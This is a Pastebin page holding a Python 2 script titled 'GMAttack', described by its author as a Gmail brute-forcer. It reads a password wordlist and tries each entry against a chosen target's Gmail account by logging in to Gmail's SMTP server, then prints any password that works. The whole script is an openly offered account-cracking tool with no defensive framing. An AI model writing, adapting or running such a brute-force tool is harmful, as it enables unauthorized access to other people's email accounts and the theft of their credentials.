Advertisement
VH4Ck

GMAttack2.py

Jul 6th, 2015
349
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.41 KB | None | 0 0
  1. #Author:VH4Ck
  2. #GMAttack ->The Gmail BruteForcer
  3. import smtplib,time,argparse
  4.  
  5. def Main():
  6.     print """
  7.  ____ __  __    _   _   _             _
  8. / ___|  \/  |  / \ | |_| |_ __ _  ___| | __
  9. | |  _| |\/| | / _ \| __| __/ _` |/ __| |/ /
  10. | |_| | |  | |/ ___ \ |_| || (_| | (__|   <
  11. \____|_|  |_/_/   \_\__|\__\__,_|\___|_|\_\
  12. \n GMAttack Script The Gmail BruteForcer By VH4Ck"""
  13.     parser = argparse.ArgumentParser()
  14.     parser.add_argument("email",help="The Email U Want To Attack",type=str)
  15.     parser.add_argument("-w",help="The Passwords Word List",type=str)
  16.     args=parser.parse_args()
  17.     wordlist=args.w
  18.     email=args.email
  19.     if 'txt' not in wordlist:
  20.         wordlist=wordlist+".txt"
  21.     else:
  22.         pass
  23.     if wordlist:
  24.         print "Attacking With %s"%wordlist
  25.         with open(wordlist, 'r') as pwds:
  26.             try:
  27.                 server = smtplib.SMTP('smtp.gmail.com:587')
  28.                 server.ehlo()
  29.                 server.starttls()
  30.                 server.ehlo()
  31.                 for line in pwds:
  32.                     password=line.strip('\r\n')
  33.                     try:
  34.                         server.login(email, password)
  35.                         print "======================================="
  36.                         print "Gmail Login Success ! \n Username : "+str(email)+" \n Password : "+str(password)
  37.                         server.close()
  38.                     except Exception:
  39.                         print "[+]"+password+" Failed.."
  40.             except:
  41.                 print "Some Thing Wrong With You Internet Connection..Exiting.."
  42.                 exit()
  43.     else:
  44.         print "Please Put The Wordlist Name"
  45.         exit()
  46.  
  47. if __name__ == '__main__':
  48.     Main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement